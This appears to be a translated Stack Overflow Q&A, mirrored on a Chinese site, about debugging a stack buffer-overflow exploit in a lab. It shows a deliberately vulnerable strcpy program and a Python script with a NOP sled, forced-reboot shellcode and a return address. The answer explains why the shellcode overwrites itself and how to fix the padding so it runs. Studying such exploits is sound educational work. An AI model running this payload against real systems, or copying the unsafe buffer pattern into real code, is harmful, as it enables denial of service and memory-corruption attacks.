gpt4 book ai didi

python - Segmentation Fault shell代码测试kali 2018

转载 作者:太空狗 更新时间:2023-10-29 15:37:25 25 4
gpt4 key购买 nike

我已经阅读了很多文章和示例,但我不知道我现在能做什么。所以,我想为这个易受攻击的程序测试一个 shellcode:

#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
copier(argv[1]);
printf("Done!\n");
}
int copier(char *str) {
char buffer[100];
strcpy(buffer, str);
}

运行我的 shellcode 的脚本(强制重启):

#!/usr/bin/python

nopsled = '\x90' * 64
shellcode = (
'\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e' +
'\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3' +
'\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53' +
'\x89\xe1\xb0\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 36)
eip = '\x70\xf1\xff\xbf'
print nopsled + shellcode + padding + eip

在这里您可以看到我的 shellcode 已正确加载:

esp中的寄存器

registers from esp

我的回邮地址是:0xbffff170。那么为什么我的程序不工作呢?请帮帮我

最佳答案

所以根据我的计算,这就是你的 shellcode 正在做的事情(这里是英特尔汇编语法):

0xbffff19c:  31 c0                  xor    eax,eax
0xbffff19e: 50 push eax
0xbffff19f: 68 62 6f 6f 74 push 0x746f6f62
0xbffff1a3: 68 6e 2f 72 65 push 0x65722f6e
0xbffff1a9: 68 2f 73 62 69 push 0x6962732f
0xbffff1ae: 89 e3 mov ebx,esp
0xbffff1b0: 50 push eax
0xbffff1b1: 66 68 2d 66 pushw 0x662d
0xbffff1b5: 89 e6 mov esi,esp
0xbffff1b7: 50 push eax
0xbffff1b8: 56 push esi
0xbffff1b9: 53 push ebx
0xbffff1ba: 89 e1 mov ecx,esp ; ecx = (char**) {"/sbin/reboot", "-f"}
0xbffff1bc: b0 0b mov al,0xb
0xbffff1be: cd 80 int 0x80 ; syscall sys_execve()

段错误发生在 0xbffff1b8,即使您可以看到那里的操作码是完全有效的。那么可能发生了什么?让我们看看...

您可能会注意到正在进行大量推送。所有这些 pushes 都会覆盖调用堆栈中的数据。准确地说,总共 34 个字节。

是的,存储 shellcode 本身的同一个调用栈……你把这些点联系起来了吗? shellcode 正在覆盖自身并破坏它自己的代码。开始时一切正常,但当它到达 0xbffff1b8 时,有效代码已不复存在,因为它已完全被其他内容覆盖。

您需要确保 paddingeip 的总长度为 34 或更多,以便 shellcode 在开始覆盖它自己的代码之前有足够的堆栈空间工作代码。

也就是说,padding 必须至少长 18 个字节。

nopsled 长度减少 32 个字节,只是为了让它更宽敞,并将这些字节传输到 padding。这应该为 shellcode 保留足够的堆栈空间来执行它而不会破坏自身。

而且由于eip地址目前是shellcode开始前的44字节,所以不需要调整它。

还有一些事情需要注意,首先,一旦shellcode运行完毕,它就不再关心接下来会发生什么。这意味着即使在按预期工作时,该程序也会在调用重启完成后立即崩溃。

此外,/sbin/reboot 可能需要 root 权限才能工作。如果此进程未以 root 身份运行,则不会重新启动(只会崩溃)。

关于python - Segmentation Fault shell代码测试kali 2018,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/53251869/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com